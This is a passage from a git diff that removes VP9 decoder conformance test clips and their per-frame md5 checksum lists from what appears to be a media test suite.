-c4e09feb0a88d765c7681c7d427eda87  vp90-2-12-droppable_2.ivf-352x288-0076.i420
-690734960471ab41d5cdf052be87bd30  vp90-2-12-droppable_2.ivf-352x288-0077.i420
-4abaaa7e31a3a6e30b242e42587363d5  vp90-2-12-droppable_2.ivf-352x288-0078.i420
-b9c46f294e7a23b608004ff8aa2b9ea3  vp90-2-12-droppable_2.ivf-352x288-0079.i420
-b6a6a0e45c30de0f03880f753b6e75de  vp90-2-12-droppable_2.ivf-352x288-0080.i420
-c8725906463cb71ed8a64ba8af6a79be  vp90-2-12-droppable_2.ivf-352x288-0081.i420
-d0e28c090e859834a33bc0867a0f7ed7  vp90-2-12-droppable_2.ivf-352x288-0082.i420
-1ad8bf201d9898d562631226a2ef85fa  vp90-2-12-droppable_2.ivf-352x288-0083.i420
-962fe544b1a76bafe8a1b77cd64679ba  vp90-2-12-droppable_2.ivf-352x288-0084.i420
-89f9a77223961cc5ad49a11913ff9774  vp90-2-12-droppable_2.ivf-352x288-0085.i420
-483782bf6d14bbb19c749d58b8535e3e  vp90-2-12-droppable_2.ivf-352x288-0086.i420
-dfbe1b7ecc880ce5da758728f7375d63  vp90-2-12-droppable_2.ivf-352x288-0087.i420
-11a51b22418cc8dad57a20b37dd10630  vp90-2-12-droppable_2.ivf-352x288-0088.i420
-50b90506f9666ccb7dd94b6d59096489  vp90-2-12-droppable_2.ivf-352x288-0089.i420
-101294ecaff7edf5155ddc6cf3595021  vp90-2-12-droppable_2.ivf-352x288-0090.i420
-177e8f9d8aaf40b17d0b677133fc7955  vp90-2-12-droppable_2.ivf-352x288-0091.i420
-c029f78e758a27b8fc4214abf5ddad07  vp90-2-12-droppable_2.ivf-352x288-0092.i420
-45b6df0756e3f98218f4e9f0f33b1f13  vp90-2-12-droppable_2.ivf-352x288-0093.i420
-82d1fd8cc9fa0a072a0fc6177e7f8805  vp90-2-12-droppable_2.ivf-352x288-0094.i420
-bf6c3e8df105fdb82a614f8e8f6d68af  vp90-2-12-droppable_2.ivf-352x288-0095.i420
-2e66eccd31c0e1792f3019c0a7b43af6  vp90-2-12-droppable_2.ivf-352x288-0096.i420
-d7eab4f351bd3c03e873b93afc9b7803  vp90-2-12-droppable_2.ivf-352x288-0097.i420
-f7bc200d54ec154779521311c54a22d1  vp90-2-12-droppable_2.ivf-352x288-0098.i420
-8e2624d762102b6dbe13b7cf20ee1708  vp90-2-12-droppable_2.ivf-352x288-0099.i420
diff --git a/tests/tests/media/res/raw/vp90_2_12_droppable_3.vp9 b/tests/tests/media/res/raw/vp90_2_12_droppable_3.vp9
deleted file mode 100644
index 1f26178..0000000
--- a/tests/tests/media/res/raw/vp90_2_12_droppable_3.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_12_droppable_3_vp9_md5 b/tests/tests/media/res/raw/vp90_2_12_droppable_3_vp9_md5
deleted file mode 100644
index 9fdb07c..0000000
--- a/tests/tests/media/res/raw/vp90_2_12_droppable_3_vp9_md5
+++ /dev/null
@@ -1,31 +0,0 @@
-7ab6428314a7bce2ebae83b78acf9d1c  vp90-2-12-droppable_3.ivf-640x480-0001.i420
-373cfc7765ea8038e64d95ff90b6d9e8  vp90-2-12-droppable_3.ivf-640x480-0002.i420
-58d782daf8249542df4a4f0e66994b86  vp90-2-12-droppable_3.ivf-640x480-0003.i420
-38b13b37c460f67dbbda8847a37e5a58  vp90-2-12-droppable_3.ivf-640x480-0004.i420
-902d00e196093fcebad74ef608d7c3ff  vp90-2-12-droppable_3.ivf-640x480-0005.i420
-f3549650a4581de21916b189576b6a52  vp90-2-12-droppable_3.ivf-640x480-0006.i420
-a44d4bf06a241f31d1755ff6a118060a  vp90-2-12-droppable_3.ivf-640x480-0007.i420
-8eeef076eec9eec2861f3376ebf87d0a  vp90-2-12-droppable_3.ivf-640x480-0008.i420
-9a81bf95fc7210526b79c47ff80ae968  vp90-2-12-droppable_3.ivf-640x480-0009.i420
-bf215dfd9b764292de4d064389015e55  vp90-2-12-droppable_3.ivf-640x480-0010.i420
-283b1efdedde5633606d8a5d68097768  vp90-2-12-droppable_3.ivf-640x480-0011.i420
-dbb74ee6ec5f32b9ecb58b73d465be26  vp90-2-12-droppable_3.ivf-640x480-0012.i420
-ca1e21e458f674036addf08a79f6164e  vp90-2-12-droppable_3.ivf-640x480-0013.i420
-24c3b279ecb0559ac146abed5976c54a  vp90-2-12-droppable_3.ivf-640x480-0014.i420
-5f6796e3fa0e85d65b46ba66932ee09c  vp90-2-12-droppable_3.ivf-640x480-0015.i420
-7b22b5642e42e79fcc339ca6652f8f39  vp90-2-12-droppable_3.ivf-640x480-0016.i420
-7478595483ce62a5906f979ad296b6c5  vp90-2-12-droppable_3.ivf-640x480-0017.i420
-55d843f54af65305f7e298013e90a839  vp90-2-12-droppable_3.ivf-640x480-0018.i420
-6ab0a82b5f0736d951b58f2245adb793  vp90-2-12-droppable_3.ivf-640x480-0019.i420
-1a9f6adde0d6ecd7bc83301ffeb15e51  vp90-2-12-droppable_3.ivf-640x480-0020.i420
-07552d44c99801657a3301d50c6d3897  vp90-2-12-droppable_3.ivf-640x480-0021.i420
-e9cdeec3accd4d19aa199a64e6cd163d  vp90-2-12-droppable_3.ivf-640x480-0022.i420
-5dedc5eeb214bc4356bfa53e1c00d723  vp90-2-12-droppable_3.ivf-640x480-0023.i420
-dfd4bf2f664b46c36de24edf799c5c2a  vp90-2-12-droppable_3.ivf-640x480-0024.i420
-deb33fefe4f20f09b6e84a037a7c2755  vp90-2-12-droppable_3.ivf-640x480-0025.i420
-e7425d6d380be060a89a2ca85660042f  vp90-2-12-droppable_3.ivf-640x480-0026.i420
-74e3b4f750566b09c2fd0baafa5d69d1  vp90-2-12-droppable_3.ivf-640x480-0027.i420
-dd9f990aa7d858290a970be4681b7a1f  vp90-2-12-droppable_3.ivf-640x480-0028.i420
-f7e8c6e20722b6a69e7f6766f41f2805  vp90-2-12-droppable_3.ivf-640x480-0029.i420
-835fca0a38539ef2632f85a051544326  vp90-2-12-droppable_3.ivf-640x480-0030.i420
-9c10a225363aa167ccef6e53b19ee64f  vp90-2-12-droppable_3.ivf-640x480-0031.i420
diff --git a/tests/tests/media/res/raw/vp90_2_15_segkey.vp9 b/tests/tests/media/res/raw/vp90_2_15_segkey.vp9
deleted file mode 100644
index b67d891..0000000
--- a/tests/tests/media/res/raw/vp90_2_15_segkey.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_15_segkey_adpq_vp9_md5 b/tests/tests/media/res/raw/vp90_2_15_segkey_adpq_vp9_md5
deleted file mode 100644
index e3ee4d7..0000000
--- a/tests/tests/media/res/raw/vp90_2_15_segkey_adpq_vp9_md5
+++ /dev/null
@@ -1,150 +0,0 @@
-d4f0e4b606ddb40b482aecb24cf3bc63  vp90-2-15-segkey_adpq.webm-1280x720-0001.i420
-692ec092bc5928fa6430d056e883759a  vp90-2-15-segkey_adpq.webm-1280x720-0002.i420
-dad790df33430899fed98886a24b37e5  vp90-2-15-segkey_adpq.webm-1280x720-0003.i420
-7e66e793ac9462a40dd5b963fb62e667  vp90-2-15-segkey_adpq.webm-1280x720-0004.i420
-0d795c6e20f42f09aca0ddb9dffaa6e8  vp90-2-15-segkey_adpq.webm-1280x720-0005.i420
-0ef3739c4ab2c51f0ab8e290eadad77e  vp90-2-15-segkey_adpq.webm-1280x720-0006.i420
-04a15f765960263c1b4a5a8822e17322  vp90-2-15-segkey_adpq.webm-1280x720-0007.i420
-116d518830c958bf46759fd79bc74198  vp90-2-15-segkey_adpq.webm-1280x720-0008.i420
-58ea67addab05825cc2e5f2ab99fca4b  vp90-2-15-segkey_adpq.webm-1280x720-0009.i420
-590f6e5deea6dde21dc1098fa2017c2f  vp90-2-15-segkey_adpq.webm-1280x720-0010.i420
-895479957b0882ccce4159782dee8deb  vp90-2-15-segkey_adpq.webm-1280x720-0011.i420
-cc8e05afdfb6f9c7042fd6f9e9d49140  vp90-2-15-segkey_adpq.webm-1280x720-0012.i420
-3e47c556a63af90f1ca4609f97f25d2c  vp90-2-15-segkey_adpq.webm-1280x720-0013.i420
-e5ca5dce8cbd39412db2fe219d6d2594  vp90-2-15-segkey_adpq.webm-1280x720-0014.i420
-c62b456e12230660d26eb7226f257d0c  vp90-2-15-segkey_adpq.webm-1280x720-0015.i420
-e184c961b373de465d3242f32f7cf3ed  vp90-2-15-segkey_adpq.webm-1280x720-0016.i420
-7466b91858f740fc28965a63effe05d6  vp90-2-15-segkey_adpq.webm-1280x720-0017.i420
-c8f06a3b1e471c4e7a9efd71a30dfe3b  vp90-2-15-segkey_adpq.webm-1280x720-0018.i420
-d4fb95148963b2eaff0211ddc5117c13  vp90-2-15-segkey_adpq.webm-1280x720-0019.i420
-c646526b40277289520d47ed8ca3b644  vp90-2-15-segkey_adpq.webm-1280x720-0020.i420
-e441ae686fa444e4e3584543611043ba  vp90-2-15-segkey_adpq.webm-1280x720-0021.i420
-68d707ef6909bfbc02dcbd9e392a04f6  vp90-2-15-segkey_adpq.webm-1280x720-0022.i420
-1ff285d17a26622b61bd2651754602b1  vp90-2-15-segkey_adpq.webm-1280x720-0023.i420
-c272192987e44e54e5335e6416bd15a5  vp90-2-15-segkey_adpq.webm-1280x720-0024.i420
-8f6f02572181eb4855dcd4c957e57d2e  vp90-2-15-segkey_adpq.webm-1280x720-0025.i420
-baf03eb567fd092eeb6f08ff5e098350  vp90-2-15-segkey_adpq.webm-1280x720-0026.i420
-479c78bd3da0892b8d4e32c99ec4739f  vp90-2-15-segkey_adpq.webm-1280x720-0027.i420
-d39a52f6e30ef10462bdef1006809e88  vp90-2-15-segkey_adpq.webm-1280x720-0028.i420
-d58395369806221efe9ba88513319d8a  vp90-2-15-segkey_adpq.webm-1280x720-0029.i420
-459e77e83c510ee1d79bf069752d44e5  vp90-2-15-segkey_adpq.webm-1280x720-0030.i420
-438027c8eacb9c795f8267a151ef5a4e  vp90-2-15-segkey_adpq.webm-1280x720-0031.i420
-ea6b73fb0d4b23ebbdaeb0267135d083  vp90-2-15-segkey_adpq.webm-1280x720-0032.i420
-48160c624d4d5050a4c8abcbe0edf4b2  vp90-2-15-segkey_adpq.webm-1280x720-0033.i420
-6fc6d5b4751cf137fc0204c0026f2503  vp90-2-15-segkey_adpq.webm-1280x720-0034.i420
-5ea20f6483fc5cde854313ed8288c7ca  vp90-2-15-segkey_adpq.webm-1280x720-0035.i420
-dafa41fa3468f684ca5538593cd1a0de  vp90-2-15-segkey_adpq.webm-1280x720-0036.i420
-b73d3336c83a27874e24b691c34c3421  vp90-2-15-segkey_adpq.webm-1280x720-0037.i420
-d0b0488a5871a49442746ac8ea1343bc  vp90-2-15-segkey_adpq.webm-1280x720-0038.i420
-df6fe9cb354624b69908730f24f51b88  vp90-2-15-segkey_adpq.webm-1280x720-0039.i420
-a388b159a024ace9437976206e62473c  vp90-2-15-segkey_adpq.webm-1280x720-0040.i420
-9007423410201a70b6997477ed9040f6  vp90-2-15-segkey_adpq.webm-1280x720-0041.i420
-7f7425cc018ad391e06b867f51d69513  vp90-2-15-segkey_adpq.webm-1280x720-0042.i420
-2ef51a3a15c627f803eee7f351cdfa4e  vp90-2-15-segkey_adpq.webm-1280x720-0043.i420
-260cded2461ab87181d650c58a8a0656  vp90-2-15-segkey_adpq.webm-1280x720-0044.i420
-fdd7a93b5f25ec2b74d93736fa7bb475  vp90-2-15-segkey_adpq.webm-1280x720-0045.i420
-810bb95ef0221b50ef12c7d0a4740fec  vp90-2-15-segkey_adpq.webm-1280x720-0046.i420
-f7eb4d63c16aebfeba4804c4e9c2c134  vp90-2-15-segkey_adpq.webm-1280x720-0047.i420
-a1ae94b85bced552e2c4f15ab5c5096d  vp90-2-15-segkey_adpq.webm-1280x720-0048.i420
-4b7b9e460b4a4ceab5deb5c6876cea05  vp90-2-15-segkey_adpq.webm-1280x720-0049.i420
-514472399dc39fcc4e833e166b81ea8e  vp90-2-15-segkey_adpq.webm-1280x720-0050.i420
-dca73ca76936d0a7eeb71c20955ea3a3  vp90-2-15-segkey_adpq.webm-1280x720-0051.i420
-927b185567b515a6bd102e1199ee1836  vp90-2-15-segkey_adpq.webm-1280x720-0052.i420
-63e1fffd59b77c53811d75a116fbac60  vp90-2-15-segkey_adpq.webm-1280x720-0053.i420
-5ca302497e81d564cfd455e2b606b262  vp90-2-15-segkey_adpq.webm-1280x720-0054.i420
-6e317d469ee664bc511a8286650f0b79  vp90-2-15-segkey_adpq.webm-1280x720-0055.i420
-d93e1909f3bdda983e0b3c73a8c51754  vp90-2-15-segkey_adpq.webm-1280x720-0056.i420
-836072cb1c4dc3dc32c935ba4ac3f716  vp90-2-15-segkey_adpq.webm-1280x720-0057.i420
-014e61666ba819260a25f09ae97768a8  vp90-2-15-segkey_adpq.webm-1280x720-0058.i420
-997fa6283e48ff017ce04041b9022fb9  vp90-2-15-segkey_adpq.webm-1280x720-0059.i420
-b2c35749c6b848601193c2eff7f0bdf1  vp90-2-15-segkey_adpq.webm-1280x720-0060.i420
-813e9f562ef53589afbfe7d73002c136  vp90-2-15-segkey_adpq.webm-1280x720-0061.i420
-be876a05cfc72fe6138e1c24b6e94c3f  vp90-2-15-segkey_adpq.webm-1280x720-0062.i420
-2a33b99f67fe5579ddbd62bac085ae8a  vp90-2-15-segkey_adpq.webm-1280x720-0063.i420
-8d374a1886861cfd9ca6f16a0aff1b6c  vp90-2-15-segkey_adpq.webm-1280x720-0064.i420
-eff4e17b08c67a1663c8f1cc614bd94a  vp90-2-15-segkey_adpq.webm-1280x720-0065.i420
-39e4d97460cf02ecfbc666e0413d7db1  vp90-2-15-segkey_adpq.webm-1280x720-0066.i420
-732f41606146dfb0c6a8cf130df969a8  vp90-2-15-segkey_adpq.webm-1280x720-0067.i420
-9b724b808bc26f21aaa32653185b2cf3  vp90-2-15-segkey_adpq.webm-1280x720-0068.i420
-e18598cb7ac70cdb5dea29b35ae5accb  vp90-2-15-segkey_adpq.webm-1280x720-0069.i420
-afbcad9f7bad0b58a5bccdb8977a60fb  vp90-2-15-segkey_adpq.webm-1280x720-0070.i420
-6ec24c40cd8a0cf2e15339ce4f60c232  vp90-2-15-segkey_adpq.webm-1280x720-0071.i420
-76616dbe8207235f6890360566f9e8df  vp90-2-15-segkey_adpq.webm-1280x720-0072.i420
-49a5c751ed430e9bc41c3a3334295025  vp90-2-15-segkey_adpq.webm-1280x720-0073.i420
-f657e47dbbcc2a04e9e7b71ecd8451ff  vp90-2-15-segkey_adpq.webm-1280x720-0074.i420
-8e85f3d26b26f26ccd804061d2f37bbb  vp90-2-15-segkey_adpq.webm-1280x720-0075.i420
-5a9dd5c0390491cd21163da01dc21f4d  vp90-2-15-segkey_adpq.webm-1280x720-0076.i420
-3cf88ad2d2d7ecf1223afa5d1b849317  vp90-2-15-segkey_adpq.webm-1280x720-0077.i420
-27385b23461b5f1c137c2f29354595ed  vp90-2-15-segkey_adpq.webm-1280x720-0078.i420
-e6eacbe2890389c586f2936a75ab3509  vp90-2-15-segkey_adpq.webm-1280x720-0079.i420
-19a48ffafdcdb6fb1d6b9808daed2f86  vp90-2-15-segkey_adpq.webm-1280x720-0080.i420
-f8c9419d4944fb214e06a2c30a560d93  vp90-2-15-segkey_adpq.webm-1280x720-0081.i420
-3f3d3dd54e5aa6bd59af1be86ec9be3d  vp90-2-15-segkey_adpq.webm-1280x720-0082.i420
-28be5316ed79dc47b6a142cef0c16ab7  vp90-2-15-segkey_adpq.webm-1280x720-0083.i420
-6fbed684bfe8dfd354210293d7eb4d0b  vp90-2-15-segkey_adpq.webm-1280x720-0084.i420
-e60cd76f68c95f8b484d0b6424eea4cc  vp90-2-15-segkey_adpq.webm-1280x720-0085.i420
-e05a0cf382f49039faddaffeff2cec16  vp90-2-15-segkey_adpq.webm-1280x720-0086.i420
-42ea736ebbfe50f1ebd460d71781e5d6  vp90-2-15-segkey_adpq.webm-1280x720-0087.i420
-80f78066700b6752bbc1a41390ddb482  vp90-2-15-segkey_adpq.webm-1280x720-0088.i420
-14671354929fcf10677b2ed2db3c8cb4  vp90-2-15-segkey_adpq.webm-1280x720-0089.i420
-96a7d68407f1a2c96bd3cafe0c696bf5  vp90-2-15-segkey_adpq.webm-1280x720-0090.i420
-2f2adb990cfa42229db987a668b19d38  vp90-2-15-segkey_adpq.webm-1280x720-0091.i420
-a8233951004e1bb0d0937435a517fad2  vp90-2-15-segkey_adpq.webm-1280x720-0092.i420
-6163e872c38adfde7b0c8891cbb2c969  vp90-2-15-segkey_adpq.webm-1280x720-0093.i420
-990165e0905fb80ccc29d2de062d4f9b  vp90-2-15-segkey_adpq.webm-1280x720-0094.i420
-e6f3224c4c60098ee93fca870f8636b2  vp90-2-15-segkey_adpq.webm-1280x720-0095.i420
-8c561667345f932618f8b3aaa43ffde0  vp90-2-15-segkey_adpq.webm-1280x720-0096.i420
-1acb3999bacd483d1153beb43ee09772  vp90-2-15-segkey_adpq.webm-1280x720-0097.i420
-2a075c7bc49190df83b8285ee6e124d3  vp90-2-15-segkey_adpq.webm-1280x720-0098.i420
-890a134a3c77d9b64d83fe6d2def02de  vp90-2-15-segkey_adpq.webm-1280x720-0099.i420
-d0b41422b89f03ffcbde7c85889ad2c2  vp90-2-15-segkey_adpq.webm-1280x720-0100.i420
-fdc4f855d70ef16ec9baeb05c3a73f44  vp90-2-15-segkey_adpq.webm-1280x720-0101.i420
-ed9f847a3b4280cfe306018825c76508  vp90-2-15-segkey_adpq.webm-1280x720-0102.i420
-5deb2536bba158c722bc0d909f45e611  vp90-2-15-segkey_adpq.webm-1280x720-0103.i420
-fc7880ca8680e03fb1978adce8066027  vp90-2-15-segkey_adpq.webm-1280x720-0104.i420
-6e1c351c6b102e9185f688a02190b87f  vp90-2-15-segkey_adpq.webm-1280x720-0105.i420
-1f6169bf490ed1b4c391383f770fec02  vp90-2-15-segkey_adpq.webm-1280x720-0106.i420
-80ac3b673b1504fb1e88d883a91a539c  vp90-2-15-segkey_adpq.webm-1280x720-0107.i420
-d2e7654f961ff3767c1e9e8558c2f20d  vp90-2-15-segkey_adpq.webm-1280x720-0108.i420
-365368d813eb10c5adc53e47afeb414d  vp90-2-15-segkey_adpq.webm-1280x720-0109.i420
-5f74f55478377dd31da91cf195332480  vp90-2-15-segkey_adpq.webm-1280x720-0110.i420
-827b7b3853ea3b1855583b59ed7b09c2  vp90-2-15-segkey_adpq.webm-1280x720-0111.i420
-2017c1a57a271308172bd84d3887d063  vp90-2-15-segkey_adpq.webm-1280x720-0112.i420
-d65b95c71db9972dc051bec7df19f85f  vp90-2-15-segkey_adpq.webm-1280x720-0113.i420
-7243da9072729ffa75209a6699e77ac3  vp90-2-15-segkey_adpq.webm-1280x720-0114.i420
-112da8d27907ab6a66b030e9c8864e46  vp90-2-15-segkey_adpq.webm-1280x720-0115.i420
-e2837b6409de4bc6e71ff9eca8eab391  vp90-2-15-segkey_adpq.webm-1280x720-0116.i420
-567eba2ddb91a02665ac96fa10703f00  vp90-2-15-segkey_adpq.webm-1280x720-0117.i420
-474a99d56fce0e7e96ac3585b905956f  vp90-2-15-segkey_adpq.webm-1280x720-0118.i420
-3087edb09f1ef2e63130b7c03e696028  vp90-2-15-segkey_adpq.webm-1280x720-0119.i420
-574f7328da31760ecf237617aebd7784  vp90-2-15-segkey_adpq.webm-1280x720-0120.i420
-c3a7669bb496bec766a74a800275ff6c  vp90-2-15-segkey_adpq.webm-1280x720-0121.i420
-c0d87245a92e7140e6b729c26fe97a95  vp90-2-15-segkey_adpq.webm-1280x720-0122.i420
-467e33e84435fe64cb14653600ec5163  vp90-2-15-segkey_adpq.webm-1280x720-0123.i420
-1c7a5b2472c00e9dc63f679b51ead6a9  vp90-2-15-segkey_adpq.webm-1280x720-0124.i420
-8fb7197463cdae6c45437a73dcb4a3d8  vp90-2-15-segkey_adpq.webm-1280x720-0125.i420
-f352fee36f51536175b05b5ff5a3187a  vp90-2-15-segkey_adpq.webm-1280x720-0126.i420
-ac1ed4392a38268a2495508245032d74  vp90-2-15-segkey_adpq.webm-1280x720-0127.i420
-b8179a306c4fbc6f207d15acaae92dfb  vp90-2-15-segkey_adpq.webm-1280x720-0128.i420
-7f263b0fd68652d83b75d24cc11c89e8  vp90-2-15-segkey_adpq.webm-1280x720-0129.i420
-39e33d02a01247cefe19d8bf9fbdecae  vp90-2-15-segkey_adpq.webm-1280x720-0130.i420
-49a4e89c9fcc66f7e6e679aee4af0852  vp90-2-15-segkey_adpq.webm-1280x720-0131.i420
-0af52a32e6d74694a0a1f12aa78293fe  vp90-2-15-segkey_adpq.webm-1280x720-0132.i420
-fedde75a5c093ea12f0ed328da7350c9  vp90-2-15-segkey_adpq.webm-1280x720-0133.i420
-2ab788cf689fdbe8fbc74dde165605ad  vp90-2-15-segkey_adpq.webm-1280x720-0134.i420
-682c2316cbd2e8a5e54edd1e9309a6c7  vp90-2-15-segkey_adpq.webm-1280x720-0135.i420
-f155e8fa47625f18dffea813a7070c71  vp90-2-15-segkey_adpq.webm-1280x720-0136.i420
-2611eb2b2da8f6995ac2159012ec540a  vp90-2-15-segkey_adpq.webm-1280x720-0137.i420
-a1130a4ddf7dbd592e23001c4b98b3fc  vp90-2-15-segkey_adpq.webm-1280x720-0138.i420
-84eef6f47bff223c6a0916c0688d2f7c  vp90-2-15-segkey_adpq.webm-1280x720-0139.i420
-ccfab0b84c7fc59d850ac5cb8d36da41  vp90-2-15-segkey_adpq.webm-1280x720-0140.i420
-6866845dfb320ecd9c22444ca7e52c8b  vp90-2-15-segkey_adpq.webm-1280x720-0141.i420
-3068ceb83ee4d047df3880c64754efd7  vp90-2-15-segkey_adpq.webm-1280x720-0142.i420
-7f9a74e20cfe10972961e7f21529f7f4  vp90-2-15-segkey_adpq.webm-1280x720-0143.i420
-29156833963ec7f218d38fca7df132bf  vp90-2-15-segkey_adpq.webm-1280x720-0144.i420
-f8feb4c2ae1ce371fc8b4a83d7dc34e0  vp90-2-15-segkey_adpq.webm-1280x720-0145.i420
-0e5fe8965da239c17b02f0c902feeaec  vp90-2-15-segkey_adpq.webm-1280x720-0146.i420
-e8d37eb1b8c2576658ebc58a7cc6c0d4  vp90-2-15-segkey_adpq.webm-1280x720-0147.i420
-0a89fd2784112bbd54eb559a8272ab1e  vp90-2-15-segkey_adpq.webm-1280x720-0148.i420
-342bc99cdd618272d12d045698b9cb20  vp90-2-15-segkey_adpq.webm-1280x720-0149.i420
-a489a32bb43559b8a1989b13660e3cf6  vp90-2-15-segkey_adpq.webm-1280x720-0150.i420
diff --git a/tests/tests/media/res/raw/vp90_2_15_segkey_vp9_md5 b/tests/tests/media/res/raw/vp90_2_15_segkey_vp9_md5
deleted file mode 100644
index 809e25e..0000000
--- a/tests/tests/media/res/raw/vp90_2_15_segkey_vp9_md5
+++ /dev/null
@@ -1 +0,0 @@
-d3805a0d832b9bdd69ad99d68490be7b  vp90-2-15-segkey.webm-1280x720-0001.i420
diff --git a/tests/tests/media/res/raw/vp90_2_16_intra_only.vp9 b/tests/tests/media/res/raw/vp90_2_16_intra_only.vp9
deleted file mode 100644
index a88750f..0000000
--- a/tests/tests/media/res/raw/vp90_2_16_intra_only.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_16_intra_only_vp9_md5 b/tests/tests/media/res/raw/vp90_2_16_intra_only_vp9_md5
deleted file mode 100644
index 112a52a..0000000
--- a/tests/tests/media/res/raw/vp90_2_16_intra_only_vp9_md5
+++ /dev/null
@@ -1,7 +0,0 @@
-d57529601178948afa4818c3c8938884  vp90-2-16-intra-only-352x288-0001.i420
-d47e00250c45733d64af067a417bcd06  vp90-2-16-intra-only-352x288-0002.i420
-984e41cd8350808ac6129746b2377818  vp90-2-16-intra-only-352x288-0003.i420
-a5fa62996b4bb52e72e335722cf55bef  vp90-2-16-intra-only-352x288-0004.i420
-b71ca5ad650170ac921a71a6440fb508  vp90-2-16-intra-only-352x288-0005.i420
-76ba63001170b8992fc72be5c4ace731  vp90-2-16-intra-only-352x288-0006.i420
-c4e7f96a8fd58d901b1d881926ddae09  vp90-2-16-intra-only-352x288-0007.i420
diff --git a/tests/tests/media/res/raw/vp90_2_17_show_existing_frame.vp9 b/tests/tests/media/res/raw/vp90_2_17_show_existing_frame.vp9
deleted file mode 100644
index 4748eeb..0000000
--- a/tests/tests/media/res/raw/vp90_2_17_show_existing_frame.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_17_show_existing_frame_vp9_md5 b/tests/tests/media/res/raw/vp90_2_17_show_existing_frame_vp9_md5
deleted file mode 100644
index 50394da..0000000
--- a/tests/tests/media/res/raw/vp90_2_17_show_existing_frame_vp9_md5
+++ /dev/null
@@ -1,30 +0,0 @@
-b71ca5ad650170ac921a71a6440fb508  vp90-2-17-show-existing-frame.webm-352x288-0001.i420
-edc30ba14b73198ca827c1b216957dec  vp90-2-17-show-existing-frame.webm-352x288-0002.i420
-1902c5b3a82f6bdeb80a5b053909df04  vp90-2-17-show-existing-frame.webm-352x288-0003.i420
-9a96e33ed546d7961c6e5bc48244a5c7  vp90-2-17-show-existing-frame.webm-352x288-0004.i420
-b02a48630b0f3c08c61dd2518b55ea39  vp90-2-17-show-existing-frame.webm-352x288-0005.i420
-8ac9cec1101a46bf4ba20191b7ba3f07  vp90-2-17-show-existing-frame.webm-352x288-0006.i420
-88ea8c3cb9eca47152b5d22435a06675  vp90-2-17-show-existing-frame.webm-352x288-0007.i420
-bff3406209ec0d592a891dff2b58d6cd  vp90-2-17-show-existing-frame.webm-352x288-0008.i420
-b71ca5ad650170ac921a71a6440fb508  vp90-2-17-show-existing-frame.webm-352x288-0009.i420
-edc30ba14b73198ca827c1b216957dec  vp90-2-17-show-existing-frame.webm-352x288-0010.i420
-1902c5b3a82f6bdeb80a5b053909df04  vp90-2-17-show-existing-frame.webm-352x288-0011.i420
-9a96e33ed546d7961c6e5bc48244a5c7  vp90-2-17-show-existing-frame.webm-352x288-0012.i420
-b02a48630b0f3c08c61dd2518b55ea39  vp90-2-17-show-existing-frame.webm-352x288-0013.i420
-8ac9cec1101a46bf4ba20191b7ba3f07  vp90-2-17-show-existing-frame.webm-352x288-0014.i420
-88ea8c3cb9eca47152b5d22435a06675  vp90-2-17-show-existing-frame.webm-352x288-0015.i420
-bff3406209ec0d592a891dff2b58d6cd  vp90-2-17-show-existing-frame.webm-352x288-0016.i420
-b71ca5ad650170ac921a71a6440fb508  vp90-2-17-show-existing-frame.webm-352x288-0017.i420
-edc30ba14b73198ca827c1b216957dec  vp90-2-17-show-existing-frame.webm-352x288-0018.i420
-1902c5b3a82f6bdeb80a5b053909df04  vp90-2-17-show-existing-frame.webm-352x288-0019.i420
-9a96e33ed546d7961c6e5bc48244a5c7  vp90-2-17-show-existing-frame.webm-352x288-0020.i420
-b02a48630b0f3c08c61dd2518b55ea39  vp90-2-17-show-existing-frame.webm-352x288-0021.i420
-8ac9cec1101a46bf4ba20191b7ba3f07  vp90-2-17-show-existing-frame.webm-352x288-0022.i420
-88ea8c3cb9eca47152b5d22435a06675  vp90-2-17-show-existing-frame.webm-352x288-0023.i420
-bff3406209ec0d592a891dff2b58d6cd  vp90-2-17-show-existing-frame.webm-352x288-0024.i420
-a36428fd889ddf9983638c581c1d9146  vp90-2-17-show-existing-frame.webm-352x288-0025.i420
-689bd5fba1b7dff9abb1332e56f224fa  vp90-2-17-show-existing-frame.webm-352x288-0026.i420
-e883aa425fa13c6d4eda2707d114d61d  vp90-2-17-show-existing-frame.webm-352x288-0027.i420
-94d0bce08beb8a19c4ae12194a646935  vp90-2-17-show-existing-frame.webm-352x288-0028.i420
-cd317e97f5fd4be166308911c874f4e1  vp90-2-17-show-existing-frame.webm-352x288-0029.i420
-2fa245acd72d377cbb79c08faa02b330  vp90-2-17-show-existing-frame.webm-352x288-0030.i420
diff --git a/tests/tests/media/res/raw/vp90_2_19_skip.vp9 b/tests/tests/media/res/raw/vp90_2_19_skip.vp9
deleted file mode 100644
index 51c1173..0000000
--- a/tests/tests/media/res/raw/vp90_2_19_skip.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_19_skip_01.vp9 b/tests/tests/media/res/raw/vp90_2_19_skip_01.vp9
deleted file mode 100644
index b108df8..0000000
--- a/tests/tests/media/res/raw/vp90_2_19_skip_01.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_19_skip_01_vp9_md5 b/tests/tests/media/res/raw/vp90_2_19_skip_01_vp9_md5
deleted file mode 100644
index 98fdce2..0000000
--- a/tests/tests/media/res/raw/vp90_2_19_skip_01_vp9_md5
+++ /dev/null
@@ -1,60 +0,0 @@
-6e350ec33af4ce08c18e884d7fd795aa  01.yuv
-abfb6e52a5a9d896b65e2c54e1f35f20  02.yuv
-e40e57536810c196f277f2d86fd7ef4d  03.yuv
-0b25dbe7b8218fcc67e700d332ef7ad7  04.yuv
-20f7737828b9a686a02a1b01cebb637f  05.yuv
-06d41fe61fbd8d96750882baac56954f  06.yuv
-9e6661eb3424978e105dfa393407c293  07.yuv
-2d9dd8d9625dc67cb342b9db51a9bf85  08.yuv
-d8d8671e8e921484acd0fd67c7046382  09.yuv
-f6513fee6d2de65d51239a689f45f1d6  10.yuv
-5a8c26cbe9cefc79481a1e24c36d1b07  11.yuv
-918c1080ca4f2d61049caaa963d58069  12.yuv
-9d028868e407a2a596ede1c7ec71997c  13.yuv
-0bf06f2b16acc2c9691953d0ba134e7b  14.yuv
-f340480004fd45b579bfa04487c94136  15.yuv
-a6ab04e5c72ab3612842e891644ef2f2  16.yuv
-cf5da560e869a73ac6dc37ff1812b14e  17.yuv
